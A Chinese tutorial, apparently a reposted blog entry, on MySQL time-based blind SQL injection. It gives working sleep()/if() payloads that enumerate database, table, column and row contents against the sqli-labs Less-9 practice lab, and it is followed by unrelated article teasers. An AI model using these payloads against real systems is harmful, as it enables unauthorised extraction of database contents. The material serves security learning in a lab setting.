sql注入知识---时间盲注

news2024/9/8 22:54:06

MySQL手注之时间盲注详解

    • 时间盲注原理:
    • 注意:
    • 基于时间盲注sleep函数
      • 函数用法:
      • 例子:观察以下语句
    • 基于时间盲注if函数
      • 函数用法:
    • 基本步骤:基于时间的盲注案例(sqli-lab less-9)
      • 枚举当前数据库名
      • 枚举当前数据库的表名
      • 枚举当前数据库表的字段名
      • 枚举每个字段对应的数据项内容
    • 扩展:

时间盲注原理:

原理:在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注

  • select id,name from product where id=1 and sleep(2)

注意:

  1. MySQL数据库对大小写不铭感要对与盲注最好用ASII进行检测
  2. 如何查看时间:BP或其他工具抓包看返回时间

基于时间盲注sleep函数

函数用法:

  • 在mysql下,sleep的语法如下:sleep(seconds)即sleep函数代码执行延迟若干秒
  • sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止

例子:观察以下语句

第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s

第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s
在这里插入图片描述

基于时间盲注if函数

函数用法:

  • 逻辑判断函数if()
  • if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句

例子:

select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);

此处 如果条件ascii(substr(database(),1,1))>1成立则执行sleep(5),否则执行1

基本步骤:基于时间的盲注案例(sqli-lab less-9)

枚举当前数据库名

id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+

枚举当前数据库的表名

id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+

或者利用if函数
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名

 id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚举每个字段对应的数据项内容

 id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

请添加图片描述

扩展:

还可以用其他的函数进行连用例如:
截取函数
substring() substr()

配合select case when 条件触发
SQL CASE 表达试是一种通用的条件表达试,类似其他语言的 if/else语句
CASE WHEN condition THEN result
[WHEN …]
[ELSE result]
END

除了Sleep之外的延迟
BENCHMARK(count,expr)

感谢大家观看,我会与大家共同进步的(qq:622816049)有问题可以提问。群主会帮助大家的。嘻嘻

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/454617.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Vue】学习笔记-组件化编程

学习笔记-组件化编程 模块与组件、模块化与组件化非单文件组件基本使用组件注意事项组件的嵌套VueComponent一个重要的内置关系 单文件组件 模块与组件、模块化与组件化 模块 a.理解:向外提供特定功能的js程序,一般就是一个js文件 b.为什么:j…

实验8---SpringMVC基础

实验八 SpringMVC基础 一、实验目的及任务 通过该实验,掌握SpringMVC框架搭建步骤,掌握SpringMVC控制器的编写方法以及与spring依赖注入结合方法。 二、实验环境及条件 主机操作系统为Win10,Tomcat,j2sdk1.6或以上版本。 三、实验实施…

使用Linux运维常识

一.基础操作 1.终端常用快捷键 快捷键描述ctrl键盘左键向左跳一个单词ctrl键盘右键向右跳一个单词Ctrl c停止当前正在运行的命令。Ctrl z将当前正在运行的命令放入后台并暂停它的进程。Ctrl d关闭当前终端会话。Ctrl l清屏,也可以用clear命令实现Tab自动补全当…

倾斜摄影超大场景的三维模型转换3DTILES格式有哪些好处?

倾斜摄影超大场景的三维模型转换3DTILES格式有哪些好处? 倾斜摄影超大场景的三维模型转换到3D Tiles格式有以下几个好处: 1、数据存储效率高:3D Tiles是一种高效的地理数据存储格式,能够将大规模的倾斜摄影三维模型数据分块存储…

Hive312的计算引擎由MapReduce(默认)改为Spark(亲测有效)

一、Hive引擎包括:默认MR、tez、spark 在低版本的hive中,只有两种计算引擎mr, tez 在高版本的hive中,有三种计算引擎mr, spark, tez 二、Hive on Spark和Spark on Hive的区别 Hive on Spark:Hive既存储元数据又负责SQL的解析&…

【Linux】生产者消费者模型——环形队列RingQueue(信号量)

文章目录 铺垫信号量信号量概念信号量PV操作信号量基本接口 环形队列的生产消费模型引入环形队列访问环形队列代码实现代码改造多生产者多消费者代码 总结 铺垫 之前写的代码是存在不足的地方的: 我们使用线程操作临界资源的时候要先去判断临界资源是否满足条件&am…

QoS部署

1.总部和分部之间视频出现花屏,语音图像不同步的现象是有哪些原因导致的? 如图所示总部和分部之间的流量有FTP数据流量、视频流量和语音流量。如果在总部和分部之间的这几类流量没有做QoS部分或者优先级的区分,那么这些流量基于默认的无差别的流量策略去竞争带宽,如果FTP数…

暴躁兔分享:火爆圈子的XEN,我们如何吃到一波红利的

这周沉闷的熊市突然冲出一个XEN项目。 在这个项目上我们经历了拿到消息,看不懂不做,获取新的信息,发现可以搞,冲的这么一个过程。虽然由于信息查和认知差没有吃到最早拿到信息那波的利润,但是通过分析也跟着喝了一点汤…

网页源代码检查时隐藏 WebSocket 的后端地址

背景 近期在自研如何通过 OpenAI 实现 与ChatGPT 官网一样的聊天对话效果。 用到了 html5websocketpython 三项技术 , 于是用一天时间自学了一下这方面技术。 当实现了功能之后,就得考虑安全问题: 在用 html5 实现与 websocket 通讯时,如何保…

管理后台项目-05-SKU列表-上下架-详情抽屉效果-深度选择器

目录 1-SKU列表 2-SKU上下架 3-SKU详情 1-SKU列表 当用户点击Sku管理,组件挂载的时候,我们需要获取sku列表信息;但是获取列表方法在分页列表改变页码和每页显示大小的时候也需要触发,我们封装为一个方法。 //sku列表的接口 /adm…

Elasticsearch聚合、自动补全 | 黑马旅游

一、数据聚合 1、聚合的分类 聚合(aggregations)可以实现对文档数据的统计、分析、运算。 聚合常见有三类: 桶聚合 Bucket:对文档数据分组,并统计每组数量 TermAggregation:按照文档字段值分组&#xf…

中国电子学会2023年03月青少年软件编程Scratch图形化等级考试试卷二级真题(含答案)

中国电子学会2023年03月青少年软件编程Scratch图形化等级考试试卷二级 1.小猫的程序如图所示,积木块的颜色与球的颜色一致。点击绿旗执行程序后,下列说法正确的是?(C)(2分) A.小猫一直在左右移…

JDBC详解(二):获取数据库连接(超详解)

JDBC详解(二):获取数据库连接 前言一、要素一:Driver接口实现类1、Driver接口介绍2、加载与注册JDBC驱动 二、要素二:URL三、要素三:用户名和密码四、数据库连接方式举例4.1 连接方式一4.2 连接方式二4.3 连…

15天学习MySQL计划-数据库引擎(进阶篇)第六天

15天学习MySQL计划-数据库引擎(进阶篇)第六天 1.数据库引擎 1.MySQL体系结构 连接层服务层引擎层存储层 2.存储引擎 存储引擎简介 ​ 1.概述 ​ 存储引擎就是存储数据,建立索引,更新/查询数据等技术的实现方式。存储引擎是基…

android ANativeWindow surface显示

前言 最近做车机camera 倒车影像问题,需要通过c调用camera,并显示在android ui界面之上。 最终效果图 代码实现 Android.bp cc_binary {name: "stest",vendor: true,srcs: ["main.cpp"],shared_libs: ["libcutils",&q…

Android入门基础教程

第1章 Android Studio运行第一个程序 1.1 Android Studio下载: 1.1.1 Android开发者官网: https://developer.android.google.cn ​ 1.1.2 下载Android Studio开发者工具: 进入Android开发者官网;找到Android Studio工具下载页…

【LeetCode刷题笔记】反转链表、移除链表元素、两两交换链表中的节点、删除链表的倒数第N个结点

📝个人主页:爱吃炫迈 💌系列专栏:数据结构与算法 🧑‍💻座右铭:道阻且长,行则将至💗 文章目录 反转链表移除链表元素两两交换链表中的节点删除链表的倒数第 N 个结点&…

脉搏波信号去噪方法

一、引言 脉搏波信号是血管中血液流动产生的振动信号,反映了血管的弹性特性和血流动力学信息。由于其丰富的生理信息,脉搏波信号在诊断和监测心血管疾病、神经系统疾病等方面具有重要意义。然而,原始脉搏波信号往往受到生理干扰、环境噪声等…

人工智能在心电信号的心律失常应用

心律失常是一种常见的心脏疾病,它会导致心脏跳动不规律,严重的甚至会引发心脏骤停。传统的心律失常诊断方法是通过心电图对心律失常进行分析,但是这种方法需要医生具备专业的知识和经验,而且容易出现误诊。而人工智能技术可以对心…

倾斜摄影三维模型OSGB格式转换3DTILES的关键技术浅析

倾斜摄影三维模型OSGB格式转换3DTILES的关键技术浅析 将三维模型从OSGB格式转换为3DTILES格式需要掌握以下关键技术: 1、数据结构转换:OSGB格式和3DTILES格式采用了不同的数据结构,因此需要进行数据结构转换。OSGB格式采用了分层划分数据结构…